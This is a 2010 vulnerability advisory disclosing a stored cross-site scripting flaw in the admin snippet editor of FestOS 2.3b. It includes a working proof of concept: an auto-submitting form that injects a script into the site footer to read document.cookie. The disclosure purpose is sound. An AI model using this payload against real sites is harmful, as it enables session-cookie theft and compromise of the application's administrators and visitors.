XSS vulnerability in FestOS

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22473
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_festos_1.html
Product: FestOS
Vendor: Skypanther Studios, Inc ( http://festengine.org/ ) 
Vulnerable Version: 2.3b and Probably Prior Versions
Vendor Notification: 01 July 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/do_snippets_edit.php" 
script to properly sanitize user-supplied input in "contents" variable. 
Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/do_snippets_edit.php?tabname=Pages"; 
method="post" name="main" >
<input type="hidden" name="snippetID" value="1" />
<input type="hidden" name="title" value="Site footer" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" 
value='footer"><script>alert(document.cookie)</script>' />
</form>

<script>
document.main.submit();
</script>